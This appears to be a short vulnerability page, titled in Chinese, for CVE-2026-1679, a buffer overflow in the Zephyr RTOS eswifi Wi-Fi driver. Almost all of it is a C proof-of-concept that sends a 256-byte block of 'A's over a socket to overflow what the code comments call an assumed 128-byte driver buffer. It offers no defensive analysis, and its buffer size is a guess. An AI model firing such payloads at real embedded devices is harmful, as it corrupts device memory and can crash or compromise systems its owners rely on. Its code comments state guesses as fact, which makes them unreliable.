CVE-2026-1679 Zephyr eswifi驱动缓冲区溢出漏洞

/* * PoC for CVE-2026-1679: eswifi buffer overflow * This code demonstrates the concept of overflowing the buffer * by sending data larger than the fixed buffer size. */ #include <zephyr/net/socket.h> #include <zephyr/kernel.h> #define ESWIFI_BUF_SIZE 128 // Assumed buffer size based on driver implementation #define OVERFLOW_SIZE 256 // Payload size large enough to cause overflow void trigger_vulnerability(int sock_fd) { char payload[OVERFLOW_SIZE]; // Initialize payload with 'A's memset(payload, 'A', sizeof(payload) - 1); payload[sizeof(payload) - 1] = '\0'; printk("Sending oversized payload to trigger overflow...\n"); // The send call will copy payload into eswifi->buf without size check // causing a buffer overflow on the kernel heap/stack. int ret = send(sock_fd, payload, OVERFLOW_SIZE, 0); if (ret < 0) { printk("Send failed (error: %d)\n", errno); } else { printk("Payload sent successfully, memory corruption likely occurred.\n"); } }